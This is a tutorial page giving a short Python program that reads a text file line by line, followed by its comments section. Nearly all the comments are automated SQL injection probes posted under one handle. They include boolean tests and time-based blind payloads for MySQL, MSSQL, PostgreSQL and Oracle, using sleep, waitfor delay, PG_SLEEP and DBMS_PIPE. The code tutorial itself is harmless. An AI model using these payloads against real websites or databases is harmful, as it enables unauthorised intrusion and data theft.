Read file line by line in python

Python program to read a file line by line

Program or Solution

				
			
					
file=open("sample.txt",'r')
content = file.readline()
while(content):
    print(content)
    content=file.readline()
file.close()

			
				
			

Program Explanation

open the file in read mode read line by line using readline() method.

Read a line and check whether there is content in the line, then print it and read the next line.

Repeat it until a line has no content.

close() the file.

Comments

ubaTaeCJ
-1 OR 2+881-881-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3+881-881-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3*2<(0+5+881-881) --
ubaTaeCJ
-1 OR 3*2>(0+5+881-881) --
ubaTaeCJ
-1 OR 2+351-351-1=0+0+0+1
ubaTaeCJ
-1 OR 3+351-351-1=0+0+0+1
ubaTaeCJ
-1 OR 3*2<(0+5+351-351)
ubaTaeCJ
-1 OR 3*2>(0+5+351-351)
ubaTaeCJ
-1' OR 2+670-670-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3+670-670-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3*2<(0+5+670-670) --
ubaTaeCJ
-1' OR 3*2>(0+5+670-670) --
ubaTaeCJ
-1' OR 2+660-660-1=0+0+0+1 or 'jqrWhJIo'='
ubaTaeCJ
-1' OR 3+660-660-1=0+0+0+1 or 'jqrWhJIo'='
ubaTaeCJ
-1' OR 3*2<(0+5+660-660) or 'jqrWhJIo'='
ubaTaeCJ
-1' OR 3*2>(0+5+660-660) or 'jqrWhJIo'='
ubaTaeCJ
-1" OR 2+267-267-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3+267-267-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3*2<(0+5+267-267) --
ubaTaeCJ
-1" OR 3*2>(0+5+267-267) --
ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ubaTaeCJ
-1; waitfor delay '0:0:15' --
ubaTaeCJ
-1); waitfor delay '0:0:15' --
ubaTaeCJ
1 waitfor delay '0:0:15' --
ubaTaeCJ
WhiKUyuV'; waitfor delay '0:0:15' --
ubaTaeCJ
-5 OR 20=(SELECT 20 FROM PG_SLEEP(15))--
ubaTaeCJ
-5) OR 820=(SELECT 820 FROM PG_SLEEP(15))--
ubaTaeCJ
-1)) OR 961=(SELECT 961 FROM PG_SLEEP(15))--
ubaTaeCJ
wShlwoDh' OR 584=(SELECT 584 FROM PG_SLEEP(15))--
ubaTaeCJ
t1q5rBwR') OR 218=(SELECT 218 FROM PG_SLEEP(15))--
ubaTaeCJ
kFX9K0Bq')) OR 141=(SELECT 141 FROM PG_SLEEP(15))--
ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ubaTaeCJ
1'"
ubaTaeCJ
@@sHmNz